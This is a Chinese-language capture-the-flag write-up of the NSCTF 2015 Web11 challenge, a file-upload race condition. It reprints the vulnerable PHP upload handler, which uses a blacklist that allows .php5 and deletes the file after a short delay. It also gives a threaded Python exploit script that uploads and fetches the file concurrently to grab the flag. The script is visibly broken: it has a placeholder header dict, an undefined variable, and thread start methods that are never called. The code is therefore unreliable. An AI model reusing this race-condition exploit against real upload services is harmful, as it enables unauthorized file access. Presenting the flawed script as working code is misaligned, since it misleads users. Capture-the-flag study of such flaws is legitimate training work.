【NSCTF 2015】 Web11(典型入门条件竞争实例)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

Web11

这题很典型,是一个不错的条件竞争例子,十分值得做下记录
源码:

<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>NSCTF</title>
</head>
<body alink="#007000" background="../images/dot.gif" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<br>
<br>
<br>
<center>
<head><h1>请上传文件!</h1></head><br>
<br>
<br><br>
<form method="post" action="index.php" enctype="multipart/form-data">
 <input type="file" name="file" value="1111"/>
 <input type="submit" name="submit" value="upload"/>
</form>
</center>

<?php

error_reporting(0);

if(isset($_POST['submit'])){
  
  $savefile = $_FILES['file']['name'];
  $savefile = preg_replace("/\.\.|\%/", "", $savefile);
  $tempfile = $_FILES['file']['tmp_name'];
  //$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
  $savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
  $savefile = 'upload/'.$savefile;

  if(move_uploaded_file($tempfile,$savefile)){
    
    //$filename = substr($savefile,0,strlen($savefile)-1);
    $filename = $savefile;
    
    if(file_exists($filename) && ( (substr($savefile, -5) == '.php5') )){
        file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}");
        sleep(0.5);
        unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~");
      }else{
    unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>");
      }
  }else{
    exit('上传失败~'."<br>");
  }

}

function upload($src,$dst){
 
  if(move_uploaded_file($src,$dst)){
      return true;
  }

  return false;

}
?>

审计后功能简述:

1.功能是文件上传
2.正则过滤了很多后缀,只能用php5后缀
3.会把flag写到.php5后缀文件内,过0.5秒会删除文件

这个代码写的很死,但没有关系,我们可以只学习做题思路与方法
思路:

虽然代码中写着上传文件会给删除,但这并不能比上脚本的速度,很明显解题思想就浮现出来了,我们只需要写个脚本,同时完成上传与访问的功能,利用中间的0.5s间隙就可以通过条件竞争漏洞拿到flag

脚本:

import sys
import requests
import threading
url1="http://127.0.0.1:8080/"
url2="http://127.0.0.1:8080/upload/1.php5"
def upload(url):
	header={用BurpSuite抓包后,照着头部用字典的格式抄进去就行}
	files = {'file':open('C:\\1.php5','rb')}#此处是重点!我们操作文件上传的时候,把目标文件以open打开,然后存储到变量file里面存到一个字典里面
	upload_data={"fileSize":27,"fileName":"1.php5"}
	upload_res=requests.post(upload_url,upload_data,files=files,headers=header)##此处是重点!我们操作文件上传的时候,接口请求参数直接存到upload_data变量里面,在请求的时候,直接作为数据传递过去
def get(url):
	try:
		result=requests.get(url)
		if "flag" in result.content:
			print result.content
	except:
		pass
def main():
	while True:
		t1=threading.Thread(target=upload,args=(url1,)).start
		t2=threading.Thread(target=get,args=(url2,)).start
		t1.join()
		t2.join()
if __name__=='__main__':
	sys.exit(int(main() or 0))

利用requests完成文件上传知识点:

上传接口的参数如下所示:
upload_data={"parentId":"","fileCategory":"personal","fileSize":179,"fileName":"summer_text_0920.txt","uoType":1}
其中有两个参数需要跟大家解释一下:filesize:指的是文件的字节大小。 filename:指的是你上传之后保存的文件名~记得不要搞错了后缀哟。其他的参数可以忽略!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值